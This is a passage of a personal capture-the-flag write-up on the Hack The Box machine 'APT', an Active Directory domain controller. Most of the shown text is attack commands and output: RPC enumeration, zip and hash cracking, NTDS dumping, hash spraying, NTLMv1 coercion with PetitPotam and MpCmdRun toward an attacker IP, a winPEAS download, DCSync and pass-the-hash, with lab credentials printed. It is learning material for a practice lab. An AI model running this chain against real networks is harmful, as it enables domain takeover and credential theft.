spinning. I even slept for a while in the middle of it, and I had to check the write-up twice. If all the previous boxes taught the basic domain-controller penetration-testing workflow, this one brought all those earlier techniques together. It kept catching me off guard. While trying to reason through the attack chain, I was constantly testing ideas, making mistakes, and figuring out what had gone wrong. I have to say, this blog post has been a huge help during my recent study of domain penetration testing and serves as a great summary: https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/. It only gives each topic a brief mention, but once you have an entry point, it\u0026rsquo;s easy to branch out by looking up the tools and services in more detail and learning how to exploit them. It covers every technique used above, and when I first started learning, I followed this exact process too.\n20.APT As you can see, the difficulty is extremely high.\nReconnaissance:\nTwo names, I guess:\n1 2 W3layouts HTTrack This site is using someone else\u0026rsquo;s template, and it says so explicitly. I needed to figure out which template it was. If there was no backend, that would mean there was no point spending more effort here. If a backend did exist, I could simply try downloading the source. Unfortunately, I couldn\u0026rsquo;t find one. I also tried JSFinder to look for any possible URLs, but it came back with nothing. In other words, this is a purely frontend website. There may still be something hidden, but directory brute-forcing is the only way to find it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j ALL Find 8 links url:http://10.10.10.213/index.html Remaining 8 | Find 0 URL in http://10.10.10.213/index.html url:http://10.10.10.213/# Remaining 7 | Find 0 URL in http://10.10.10.213/# url:http://10.10.10.213/services.html Remaining 6 | Find 0 URL in http://10.10.10.213/services.html url:http://10.10.10.213/clients.html Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html url:http://10.10.10.213/about.html Remaining 4 | Find 0 URL in http://10.10.10.213/about.html url:http://10.10.10.213/support.html Remaining 3 | Find 0 URL in http://10.10.10.213/support.html url:http://10.10.10.213/news.html Remaining 2 | Find 0 URL in http://10.10.10.213/news.html I did find an email address with a domain in it:\n1 2 sales@gigantichosting.com gigantichosting.com I added it to my hosts file and visited the HTTP service to see whether anything changed. Then I used FFUF to brute-force subdomains. (There was no difference at all; this domain had no effect.)\n1 wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H \u0026#34;Host: FUZZ.gigantichosting.com\u0026#34; --hh 14879 I had now checked everything on port 80, so it was time to look at RPC.\nBefore looking at RPC, I checked the machine description.\nIt said this was an exceptionally difficult machine, and that RPC enumeration could reveal an IPv6 address which would then become the target for further penetration. If I had to discover absolutely everything on my own, I definitely wouldn\u0026rsquo;t be able to finish this machine. Just like before, when I run into something extremely difficult, I follow a writeup until I reach a point where I can continue independently. Some of the writeups I\u0026rsquo;ve seen were also created specifically as learning exercises. The important thing is to absorb the material and make it your own.\nThe next step in the writeup was to use rpcmap.py to find an entry point. I also tried the usual anonymous rpcclient login with a blank username and password, but got nowhere.\n1 2 3 4 5 6 7 8 9 rpcclient: Primarily used for SMB/CIFS services Commonly used in Windows domain environments Requires credentials rpcmap.py/rpcdump.py: Focuses on RPC endpoint enumeration Does not require credentials Can discover more RPC interfaces Now that I had an entry point, I started looking for tutorials. The blogs below explain it very well.\nhttps://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc\nhttps://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc\nhttps://juggernaut-sec.com/ad-recon-msrpc/\nI started experimenting.\n1 rpcmap.py \u0026#39;ncacn_ip_tcp:10.10.10.213\u0026#39; I was still following the hints from https://juggernaut-sec.com/ad-recon-msrpc/. (I try to learn while avoiding the writeup as much as possible. Later on, I may encounter more services I\u0026rsquo;ve never seen before, and without a writeup this is the only way I could approach them.)\nIt said to pay particular attention to 99FCFEC4-5260-101B-BBCB-00AA0021347A.\nThat exact value appeared in my results as well.\nIt fit the APT machine so perfectly that I almost wondered whether the post itself was a writeup. It wasn\u0026rsquo;t, though—it covered every method for attacking RPC. All of the links in that post were dead, so I searched for the project using the Python script\u0026rsquo;s name and found its repository.\nhttps://github.com/mubix/IOXIDResolver\n1 2 3 4 5 python IOXIDResolver.py -t 10.10.10.213 [*] Retrieving network interface of 10.10.10.213 Address: apt Address: 10.10.10.213 Address: dead:beef::b885:d62a:d679:573f Successfully reproduced.\nNo problems—it was reachable. For convenience, I assigned it a domain name in my hosts file, though an IPv6 scan with nmap would also work.\nNow the real work began.\nPort 80 was no different. I decided not to brute-force it for the moment. I\u0026rsquo;d come back to that if I ran out of other options, since brute-forcing it was painfully slow.\n135 RPC\n1 rpcclient -U \u0026#34;\u0026#34; -N -c \u0026#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit\u0026#39; apt.htb Not a single permission was available.\n389 LDAP\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 nmap -n -sV --script \u0026#34;ldap* and not brute\u0026#34; -p 389 -6 apt.htb | dnsHostName: apt.htb.local | ldapServiceName: htb.local:apt$@HTB.LOCAL | subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local | dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local | namingContexts: DC=htb,DC=local | namingContexts: CN=Configuration,DC=htb,DC=local | namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local | namingContexts: DC=DomainDnsZones,DC=htb,DC=local | namingContexts: DC=ForestDnsZones,DC=htb,DC=local | defaultNamingContext: DC=htb,DC=local | schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local | configurationNamingContext: CN=Configuration,DC=htb,DC=local | rootDomainNamingContext: DC=htb,DC=local The domain was htb.local, so I needed to update the domain in my hosts file. Without authentication, I had no permissions.\n445 SMB\n1 2 enum4linux -a -u \u0026#34;\u0026#34; -p \u0026#34;\u0026#34; htb.local \u0026amp;\u0026amp; enum4linux -a -u \u0026#34;guest\u0026#34; -p \u0026#34;\u0026#34; htb.local smbclient -U \u0026#39;%\u0026#39; -L //htb.local \u0026amp;\u0026amp; smbclient -U \u0026#39;guest%\u0026#39; -L //htb.local 1 2 3 4 5 6 7 8 9 smbclient -U \u0026#39;%\u0026#39; -L //htb.local \u0026amp;\u0026amp; smbclient -U \u0026#39;guest%\u0026#39; -L //htb.local Sharename Type Comment --------- ---- ------- backup Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share htb.local is an IPv6 address -- no workgroup available 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [+] Attempting to map shares on htb.local //htb.local/backup\tMapping: OK Listing: OK Writing: N/A //htb.local/IPC$\tMapping: OK Listing: DENIED Writing: N/A [E] Can\u0026#39;t understand response: do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL) //htb.local/NETLOGON\tMapping: N/A Listing: N/A Writing: N/A [E] Can\u0026#39;t understand response: do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL) //htb.local/SYSVOL\tMapping: N/A Listing: N/A Writing: N/A 1 2 3 crackmapexec smb htb.local SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) That was all the information I had. Based on the output, the accessible shares were backup and IPC$.\nThere was a 1 GB backup.zip inside backup. The download was too slow and disconnected immediately, and after that I tried accessing it several more times.\nI couldn\u0026rsquo;t connect anymore. Restarting the machine fixed it. I started looking for an SMB download command that wouldn\u0026rsquo;t disconnect midway through.\n1 2 smbget -R smb://htb.local/backup # This requires an IP address instead of a domain name, so it fails mount -t cifs //htb.local/backup/ ./backup\t# This also fails For the standard domain penetration workflow I\u0026rsquo;d learned, the only thing left was a DNS query on port 53, so I moved on to that.\n53 DNS\nThat didn\u0026rsquo;t work, so I went back and brute-forced port 80 again.\nThere was absolutely no difference. I was now one hundred percent sure there was something inside backup.zip on the 445 share. I checked the errors and tried downloading it again.\nhttps://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files\nThat post offered several solutions. The command below successfully downloaded the file.\n1 smbclient -m SMB2 -N \u0026#39;//htb.local/backup\u0026#39; -c \u0026#39;timeout 120; iosize 16384; get backup.zip\u0026#39; It required a password.\n1 2 3 4 5 6 7 8 9 10 zip2john backup.zip \u0026gt; passwd.hash ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8 ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8 ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8 ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time. Only the important files required a password: ntds.dit, SYSTEM, and SECURITY.\n1 2 zip2john backup.zip \u0026gt; passwd.hash -o ntds.dit zip2john backup.zip 1 backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$ Put the hash above into a file, then crack it.\n1 2 3 4 5 6 7 8 9 john ./hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 8 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status iloveyousomuch (backup.zip) 1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso Use the \u0026#34;--show\u0026#34; option to display all of the cracked passwords reliably Session completed. Success. Next I just needed to extract the NTLM hashes, and since WinRM was open, I should have been able to log straight in.\n1 /usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL \u0026gt; htlm.txt There were loads of accounts. I first extracted them, then prepared to brute-force them.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import re temp_htlm = open(\u0026#39;htlm.txt\u0026#39;,\u0026#39;r\u0026#39;,encoding=\u0026#39;utf-8\u0026#39;).readlines() for i in temp_htlm: temp = i.replace(\u0026#39;\\n\u0026#39;,\u0026#39;\u0026#39;) if \u0026#39;endstop\u0026#39; in temp: break temp = temp.split(\u0026#39;:\u0026#39;) try: print(temp[0]) print(temp[3]) open(\u0026#39;userandpass.txt\u0026#39;,\u0026#39;a\u0026#39;,encoding=\u0026#39;utf-8\u0026#39;).write(temp[0]+\u0026#39;:\u0026#39;+temp[2]+\u0026#34;:\u0026#34;+temp[3]+\u0026#39;\\n\u0026#39;) open(\u0026#39;users.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(temp[0] + \u0026#39;\\n\u0026#39;) open(\u0026#39;hashes.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(temp[2] + \u0026#34;:\u0026#34; + temp[3] + \u0026#39;\\n\u0026#39;) except: pass I added a terminator. I didn\u0026rsquo;t need the other approach for now. This gave me user.txt and hashes.txt for brute-forcing. Trying every user against every hash would obviously be very slow, though. First I went after port 88 and used kerbrute to identify valid usernames. Then I could brute-force those usernames against hashes.txt, which made much more sense.\n1 kerbrute userenum --dc htb.local -d htb.local users.txt It had just spent ages brute-forcing without any response at all. Restarting the machine fixed it.\nNone of them worked.\nThere were only three accounts, but finding them took a very long time—nearly twenty minutes of brute-forcing. All the default passwords were wrong. I planned to start with the bottom account.\nIt stopped working again during the brute-force. This was already the third time. It recovered after a while, then stopped again. There was clearly an anti-brute-force mechanism here.\nIf 445 wasn\u0026rsquo;t an option, I\u0026rsquo;d simply switch protocols. Port 88 wasn\u0026rsquo;t restricted, after all, and 5985 WinRM might not be restricted either, so it was worth testing. (The downside of WinRM is that the username and password might be correct, but if the account isn\u0026rsquo;t allowed to log in, there is no way to tell.)\n1 2 kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt crackmapexec winrm htb.local -u 1.txt -H hashes.txt 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import re temp_htlm = open(\u0026#39;htlm.txt\u0026#39;,\u0026#39;r\u0026#39;,encoding=\u0026#39;utf-8\u0026#39;).readlines() for i in temp_htlm: temp = i.replace(\u0026#39;\\n\u0026#39;,\u0026#39;\u0026#39;) if \u0026#39;endstop\u0026#39; in temp: break temp = temp.split(\u0026#39;:\u0026#39;) try: print(temp[0]) print(temp[3]) open(\u0026#39;new_userandpass.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(\u0026#34;henry.vinson\u0026#34; + \u0026#34;:\u0026#34; + temp[3] + \u0026#39;\\n\u0026#39;) open(\u0026#39;new_userandpass.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(\u0026#34;APT$\u0026#34; + \u0026#34;:\u0026#34; + temp[3] + \u0026#39;\\n\u0026#39;) open(\u0026#39;new_userandpass.txt\u0026#39;, \u0026#39;a\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;).write(\u0026#34;Administrator\u0026#34; + \u0026#34;:\u0026#34; + temp[3] + \u0026#39;\\n\u0026#39;) except: pass Kerbrute required username-and-hash pairs generated this way. I ran both brute-force attempts in parallel and waited.\nI waited a long time and got no results. The problem with kerbrute may have been that I supplied a hash dictionary. I couldn\u0026rsquo;t find any online tutorials covering username/password brute-forcing, so I had written the arguments based on -h. CrackMapExec most likely failed because the accounts weren\u0026rsquo;t allowed to log in through WinRM.\nhttps://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4\nWhile searching, I found a tool in this blog that could brute-force hashes.\nhttps://github.com/3gstudent/pyKerbrute/\nIt kept throwing errors when I tried to run it, so I checked the failing line in the source.\nTwo tabs were missing, so the code wasn\u0026rsquo;t aligned inside the if statement. There was also an else below it.\nThis was bizarre. It looked fine in VS Code, but turned into this once I moved it over. Even if I manually fixed it, saving would change it back. I eventually got it sorted out. I think something was wrong with the tabs at the start, so I deleted them all and indented everything again.\nThen another error appeared. I had no idea whether it would even work after I fixed it, but at that point it was still the only path forward. I searched for the error and found people saying it was caused by a version mismatch, but\u0026hellip;\nThe project shipped with its own copy. I only needed to import that bundled package, so I continued modifying the code.\nI fixed the import, and it worked fine on Windows, but immediately failed on Kali.\nhttps://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django\nFollowing the advice there, I needed to delete every pyc file in that folder. Once they were gone, the script ran.\nThis error appeared because I passed a file path, which wasn\u0026rsquo;t what the script expected.\nAfter fixing that, another error appeared.\nIt threw the same error even under normal conditions, so this had nothing to do with my changes.\nhttps://www.cnblogs.com/zhaijiahui/p/9597935.html\nThis blog described a solution. Here it is:\n1 user_key = (RC4_HMAC, bytes.fromhex(temp)) Another error:\nI kept changing it and even migrated it from Python 2 to Python 3. I\u0026rsquo;m certain this code was fundamentally broken—there was no end to the fixes. This route might not work at all, so I decided to read a writeup.\nOne writeup used this exact tool. The author ran it with Python 2, and apparently it didn\u0026rsquo;t throw any errors. I couldn\u0026rsquo;t see enough details, such as the exact version, so I searched for other posts. Everything I found introduced ADPwdSpray.py and also used Python 2, but I simply couldn\u0026rsquo;t get it working.\nAnother writeup used getTGT. The idea was that getTGT accepts a hash and communicates over Kerberos. If it returned the right response, the hash was valid. I have to say, that was a great idea. In principle, it was no different from ADPwdSpray.py above, but I couldn\u0026rsquo;t use ADPwdSpray.py. So I wrote a Bash shell script instead.\n1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash for temp in $(cat hashes.txt) do result=$(getTGT.py htb.local/henry.vinson -hashes $temp) if [[ $result != *\u0026#34;Pre-authentication information was invalid\u0026#34;* ]] then echo $temp echo $result fi done I got a result. Earlier I had accidentally matched an error; excluding error output fixed that. The clock-skew message here also meant the hash was correct.\nMy usual method for synchronizing the clock didn\u0026rsquo;t work here. It couldn\u0026rsquo;t find the server, whether I used IPv4 or IPv6.\nhttps://gitlab.com/NTPsec/ntpsec/-/issues/292\nhttps://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found\nThese two posts explained my situation very clearly. If the target server has both v4 and v6, ntpdate won\u0026rsquo;t work unless you explicitly specify -6 or -4. The target also needs to have the NTP service listening on port 123.\nI had no other ideas, so I asked Claude for help. While I\u0026rsquo;m still learning, I at least want to collect several different methods.\n1 2 3 4 5 6 rpcclient -U \u0026#34;\u0026#34; -N htb.local rpcdump\u0026gt; gettime # Or net time -S htb.local date -s \u0026#34;Sat Dec 7 05:14:11 2024\u0026#34; That was the suggested procedure. I only needed to combine the commands.\n1 date -s \u0026#34;$(net time -S htb.local)\u0026#34; It finally worked. It\u0026rsquo;s best to combine the two commands, or it stops working again after a little while.\nSure enough, WinRM didn\u0026rsquo;t work. I had wasted all that time. SMB did work, though.\n1 smbclient -L //htb.local/ -U \u0026#39;henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb\u0026#39; --pw-nt-hash Nothing was different, and there didn\u0026rsquo;t seem to be anything to exploit. Once you have a user\u0026rsquo;s credentials, the obvious options for further reconnaissance are SMB and LDAP. Here, SMB revealed nothing new, and LDAP apparently didn\u0026rsquo;t support pass-the-hash.\n1 2 GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local At this point I checked the writeups again. They all said I needed to access the registry remotely.\nHere is a tutorial for reg.py:\nhttps://wadcoms.github.io/wadcoms/Impacket-Reg/\nP.S. While testing it, I noticed that it performs the queries over SMB.\n1 reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\\\ No permission? I started researching which registry hives existed and how remote registry access worked.\nhttps://blog.csdn.net/youyudexiaowangzi/article/details/123707258\nThis blog gave me the answer.\nOnly HKLM and HKU could be queried. I had just tried HKLM without success.\nHKU did contain data. Some keys were accessible and others weren\u0026rsquo;t. I searched for information disclosure through HKU, because there were far too many keys to query manually, and each query was painfully slow.\nThe only accessible SIDs were S-1-5-18, S-1-5-21-2993095098-2100462451-206186470-1105, and S-1-5-21-2993095098-2100462451-206186470-1105_Classes.\nThat meant checking them one by one. Besides those SIDs, .DEFAULT was also readable. I used the -s flag here so I could access the node and recursively enumerate all of its keys.\n1 reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKU\\\\ -s 1 2 3 \\S-1-5-21-2993095098-2100462451-206186470-1105\\Software\\GiganticHostingManagementSystem\\ UserName\tREG_SZ\thenry.vinson_adm PassWord\tREG_SZ\tG1#Ny5@2dvht No problem—I logged straight in.\nwhoami and systeminfo didn\u0026rsquo;t reveal anything useful.\n1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe iwr http://10.10.16.14:33333/winPEASany.exe -OutFile .\\winPEASany.exe I uploaded it to inspect the system.\nReading from top to bottom, everything highlighted in red was worth investigating. I checked the history.\nThis is what it contained:\n1 2 $Cred = get-credential administrator invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path \u0026#34;HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\u0026#34; lmcompatibilitylevel -Type DWORD -Value 2 -Force} These days, whenever I encounter a PowerShell script, I search for what every function does.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # This command obtains a credential object and stores it in a variable. It prompts for a username and password. # After input, the cmdlet creates a PSCredential object representing the user credentials and stores it in $c. # The password was not captured because the prompt is interactive get-credential # Run the command with specified credentials invoke-command -credential $Cred # Specify the computer -computername # After specifying the computer, the command can run on the target; the script block itself executes locally there -scriptblock # Create the registry value and assign its initial value Set-ItemProperty -Path \u0026#34;HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\u0026#34; # The documented default for LmCompatibilityLevel is described below # By default, LM and NTLMv1 are not disabled, so value 3 accepts LM and NTLMv1 # and uses NTLMv2 if the server supports it. lmcompatibilitylevel # For the Type parameter, I only found RegistryValueKind documentation; it describes DWORD as a 32-bit unsigned integer type -Type DWORD # Value assigns data to a name; no name is shown here, but this effectively sets LmCompatibilityLevel to 2 -Value 2 -Force The search results above only explained values 3, 4, and 5, not 2, but I eventually found it The final link below provided the answer It uses NTLMv1 authentication by default while accepting both LM and NTLM authentication Here are the posts I referenced. The parameters are documented there as well.\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-7.4\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.4\nhttps://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-itemproperty?view=powershell-7.4\nhttps://learn.microsoft.com/en-us/answers/questions/1189745/what-is-the-default-lmcompatibilitylevel-for-windo\nhttps://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level\nI understood what the command did, but I didn\u0026rsquo;t know how to exploit it—or perhaps there was no vulnerability here at all. Still, it gave me a lead, so I searched further.\nWhile looking into NTLMv1 abuse, I found this page:\nhttps://book.hacktricks.xyz/cn/windows-hardening/ntlm\nIt also explained how to configure lmcompatibilitylevel under Lsa.\nIt included exploitation ideas too, though not a concrete procedure. I felt this was an NTLM relay attack, which I had studied before. If the domain controller had printing enabled and the Spooler service was running, I could try the method I\u0026rsquo;d recorded. If that failed, I would keep searching—specifically for NTLMv1 attacks.\nApparently that wasn\u0026rsquo;t it. Perhaps this wasn\u0026rsquo;t an NTLM relay after all. When I tried Get-Service Spooler, it was inaccessible, maybe because I lacked permission or because the service wasn\u0026rsquo;t enabled. When I tried printerbug, it couldn\u0026rsquo;t resolve the domain name I supplied either.\nI continued investigating the NTLMv1 attack described above.\nhttps://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/NTLM%E4%B8%AD%E7%BB%A7%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/%E6%8D%95%E8%8E%B7%E5%92%8C%E7%A0%B4%E8%A7%A3Net-NTLMv1%E5%92%8CNTLMv1%E5%93%88%E5%B8%8C.md\nhttps://3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D\nI read these two posts side by side.\n1 2 3 4 5 6 7 8 9 Edit /etc/responder/Responder.conf HTTPS = On DNS = On LDAP = On ... ; Custom challenge. ; Use \u0026#34;Random\u0026#34; for generating a random challenge for each requests (Default) Challenge = 1122334455667788 1 2 3 4 5 6 # Then run responder -I eth0 --lm # Two methods are described: one without authentication and one with authentication \u0026gt;PetitPotam.exe Responder-IP DC-IP # Patched around August 2021 \u0026gt;PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users When I opened the tool\u0026rsquo;s page and saw a hippo, it suddenly looked very familiar. Apparently I had studied it before.\nI really had documented it, right below the printer authentication technique I\u0026rsquo;d just tried.\nThe printer service wasn\u0026rsquo;t enabled, but these two services definitely were. The prerequisites were satisfied and the version matched. The only difference was that whenever I\u0026rsquo;d studied relaying before, I had used ntlmrelayx, while the last few lab tutorials had all used responder.\n1 python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local Triggering authentication failed. No problem—I could upload it to the target and use this method instead.\n1 PetitPotam.exe Responder-IP DC-IP That failed too.\nAfter all my searching, I couldn\u0026rsquo;t find any other way to make the domain controller initiate authentication. It was time to check the writeups again. I found only three writeups for this machine. My goal was to understand how each person approached it and expand my own thinking, but all three chose MpCmdRun.exe here.\nThis is an antivirus tool. The writeups started an smbserver and made MpCmdRun.exe scan a remote file. The remote scan required authentication, which let them capture it. This seemed like a standard technique, so I added it to my notes.\nI used dir and found many copies of MpCmdRun.exe. Any one of them would do.\n1 2 C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\4.18.2010.7-0 .\\MpCmdRun.exe -Scan -ScanType 3 -File \\\\10.10.16.14\\file.exe At this point my brain stopped working. I admit I\u0026rsquo;d spent more than a day on this machine. You can\u0026rsquo;t just skim over new material when you\u0026rsquo;re trying to learn it, so I\u0026rsquo;d been thinking hard and trying to memorize everything. I was getting a little dizzy. In fact, the technique I had tried earlier did work.\nI had selected the wrong network interface. After switching to the correct one, I used the same exploit again.\n1 python PetitPotam.py -u henry.vinson_adm -p G1#Ny5@2dvht -d htb.local -dc-ip htb.local 10.10.16.14 htb.local Now I had a result. NTLM relay worked fine. The printer technique didn\u0026rsquo;t, because none of its required services were enabled. The antivirus technique worked too.\n1 .\\MpCmdRun.exe -Scan -ScanType 3 -File \\\\10.10.16.14\\file.exe 1 2 3 [SMB] NTLMv1 Client : 10.10.10.213 [SMB] NTLMv1 Username : HTB\\APT$ [SMB] NTLMv1 Hash : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788 Because it captured the same value, it displayed a skip message. I continued following the earlier tutorial, Pentest_Note/wiki/Lateral Movement/NTLM Relay and Man-in-the-Middle Attacks/Capturing and Cracking Net-NTLMv1 and NTLMv1 Hashes.md at master · xiaoy-sec/Pentest_Note.\nhttps://crack.sh/ was down for maintenance, so I chose hashcat.\n1 hashcat -m 5500 -a 3 1.txt /usr/share/wordlists/rockyou.txt hashcat was too slow, so I switched to john.\n1 john --format=netntlm 1.txt In fact, crack.sh, hashcat, and john could all recover the password, but each would take a long time. I simply used the result from the writeup.\n1 d167c3238864b12f5f82feae86a7f798 This was the password for APT$. Names ending in $ are generally machine accounts, and machine accounts have DCSync privileges by default. DCSync allows an account to impersonate a domain controller for replication, so I could go straight to the following command.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 /usr/share/doc/python3-impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 htb.local/APT\\$@htb.local -dc-ip htb.local Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb::: henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef::: APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798::: PTH\n1 evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2 Done.\nThis machine took me more than a day. It was the hardest lab I\u0026rsquo;d encountered so far, and I reread the writeups many times because it involved so many different techniques. Without the writeups, I think I would have been completely stuck. I\u0026rsquo;m already starting to forget the RPC work from the beginning. Apart from RPC, which I hadn\u0026rsquo;t expected, the rest involved fairly standard services and penetration techniques—but you really need to think more broadly. This was an excellent machine, and everything fit the theory perfectly. For example, the 